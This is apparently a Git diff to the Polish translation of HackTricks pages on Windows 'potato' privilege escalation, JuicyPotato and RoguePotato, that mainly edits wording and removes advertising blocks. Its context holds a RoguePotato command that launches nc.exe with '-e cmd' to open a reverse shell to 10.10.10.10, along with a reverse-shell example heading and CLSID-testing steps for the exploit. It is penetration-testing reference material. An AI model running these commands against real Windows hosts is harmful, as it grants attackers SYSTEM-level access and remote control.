@ -39,23 +25,23 @@ Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo
|
|||
|
||||
## Juicy Potato (nadużywanie złotych uprawnień) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
|
||||
|
||||
_Słodzona wersja_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, z odrobiną soku, tj. **kolejne narzędzie do eskalacji uprawnień lokalnych, z kont usług Windows do NT AUTHORITY\SYSTEM**_
|
||||
_Słodsza wersja_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, z odrobiną soku, tj. **kolejne narzędzie do eskalacji uprawnień lokalnych, z kont usług Windows do NT AUTHORITY\SYSTEM**_
|
||||
|
||||
#### Możesz pobrać juicypotato z [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
|
||||
|
||||
### Podsumowanie <a href="#summary" id="summary"></a>
|
||||
|
||||
[**Z Readme juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
[**Z readme juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
|
||||
|
||||
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) i jego [warianty](https://github.com/decoder-it/lonelypotato) wykorzystują łańcuch eskalacji uprawnień oparty na [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [usłudze](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) mającej nasłuch MiTM na `127.0.0.1:6666` i gdy masz uprawnienia `SeImpersonate` lub `SeAssignPrimaryToken`. Podczas przeglądu wersji Windows znaleźliśmy konfigurację, w której `BITS` był celowo wyłączony, a port `6666` był zajęty.
|
||||
|
||||
Postanowiliśmy uzbroić [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Powitaj Juicy Potato**.
|
||||
|
||||
> W teorii zobacz [Rotten Potato - Eskalacja uprawnień z kont usług do SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) i śledź łańcuch linków i odniesień.
|
||||
> Dla teorii, zobacz [Rotten Potato - Eskalacja uprawnień z kont usług do SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) i śledź łańcuch linków i odniesień.
|
||||
|
||||
Odkryliśmy, że oprócz `BITS` istnieje kilka serwerów COM, które możemy nadużywać. Muszą one tylko:
|
||||
Odkryliśmy, że oprócz `BITS` istnieje kilka serwerów COM, które możemy nadużyć. Muszą one tylko:
|
||||
|
||||
1. być instancjonowalne przez bieżącego użytkownika, zazwyczaj „użytkownika usługi”, który ma uprawnienia do impersonacji
|
||||
1. być instancjonowane przez bieżącego użytkownika, zazwyczaj „użytkownika usługi”, który ma uprawnienia do impersonacji
|
||||
2. implementować interfejs `IMarshal`
|
||||
3. działać jako użytkownik z podwyższonymi uprawnieniami (SYSTEM, Administrator, …)
|
||||
|
||||
|
@ -97,7 +83,7 @@ Optional args:
|
|||
```
|
||||
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
|
||||
|
||||
[**Z Readme juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
[**Z readme juicy-potato**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
|
||||
|
||||
Jeśli użytkownik ma uprawnienia `SeImpersonate` lub `SeAssignPrimaryToken`, to jesteś **SYSTEM**.
|
||||
|
||||
|
@ -109,7 +95,7 @@ Z: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
|
|||
|
||||
## Examples
|
||||
|
||||
Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try.
|
||||
Note: Odwiedź [tę stronę](https://ohpe.it/juicy-potato/CLSID/), aby zobaczyć listę CLSID-ów do wypróbowania.
|
||||
|
||||
### Get a nc.exe reverse shell
|
||||
```
|
||||
|
@ -134,7 +120,7 @@ c:\Users\Public>
|
|||
|
||||
## Problemy z CLSID
|
||||
|
||||
Często domyślny CLSID, który używa JuicyPotato, **nie działa** i exploit się nie powodzi. Zwykle wymaga to wielu prób, aby znaleźć **działający CLSID**. Aby uzyskać listę CLSID do przetestowania dla konkretnego systemu operacyjnego, powinieneś odwiedzić tę stronę:
|
||||
Często domyślny CLSID, który używa JuicyPotato, **nie działa** i exploit się nie powodzi. Zazwyczaj wymaga to wielu prób, aby znaleźć **działający CLSID**. Aby uzyskać listę CLSID do przetestowania dla konkretnego systemu operacyjnego, powinieneś odwiedzić tę stronę:
|
||||
|
||||
{% embed url="https://ohpe.it/juicy-potato/CLSID/" %}
|
||||
|
||||
|
@ -142,9 +128,9 @@ Często domyślny CLSID, który używa JuicyPotato, **nie działa** i exploit si
|
|||
|
||||
Najpierw będziesz potrzebować kilku plików wykonywalnych oprócz juicypotato.exe.
|
||||
|
||||
Pobierz [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) i załaduj go do swojej sesji PS, a następnie pobierz i uruchom [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ten skrypt utworzy listę możliwych CLSID do przetestowania.
|
||||
Pobierz [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) i załaduj go do swojej sesji PS, a następnie pobierz i uruchom [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). Ten skrypt stworzy listę możliwych CLSID do przetestowania.
|
||||
|
||||
Następnie pobierz [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat) (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i uruchom go. Rozpocznie on próby każdego CLSID, a **gdy numer portu się zmieni, oznacza to, że CLSID zadziałał**.
|
||||
Następnie pobierz [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test\_clsid.bat) (zmień ścieżkę do listy CLSID i do pliku wykonywalnego juicypotato) i uruchom go. Zacznie próbować każdy CLSID, a **gdy numer portu się zmieni, oznacza to, że CLSID zadziałał**.
|
||||
|
||||
**Sprawdź** działające CLSID **używając parametru -c**
|
||||
|
||||
|
@ -152,17 +138,6 @@ Następnie pobierz [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/
|
|||
|
||||
* [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik **za darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -174,7 +149,7 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do repozytoriów** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,22 +15,8 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-webem**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące dane**.
|
||||
|
||||
Ich głównym celem jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego dane.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotato nie działa** na Windows Server 2019 i Windows 10 od wersji 1809 wzwyż. Jednak [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** mogą być używane do **uzyskania tych samych uprawnień i zdobycia dostępu na poziomie `NT AUTHORITY\SYSTEM`**. Ten [post na blogu](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) szczegółowo opisuje narzędzie `PrintSpoofer`, które może być używane do nadużywania uprawnień do podszywania się na hostach Windows 10 i Server 2019, gdzie JuicyPotato już nie działa.
|
||||
**JuicyPotato nie działa** na Windows Server 2019 i Windows 10 od wersji 1809. Jednakże, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** mogą być używane do **uzyskania tych samych uprawnień i zdobycia dostępu na poziomie `NT AUTHORITY\SYSTEM`**. Ten [post na blogu](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) szczegółowo opisuje narzędzie `PrintSpoofer`, które może być używane do nadużywania uprawnień do podszywania się na hostach Windows 10 i Server 2019, gdzie JuicyPotato już nie działa.
|
||||
{% endhint %}
|
||||
|
||||
## Quick Demo
|
||||
|
@ -51,6 +37,8 @@ NULL
|
|||
|
||||
```
|
||||
### RoguePotato
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l 9999
|
||||
# In some old versions you need to use the "-f" param
|
||||
|
@ -115,29 +103,18 @@ nt authority\system
|
|||
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
||||
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany **dark-web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue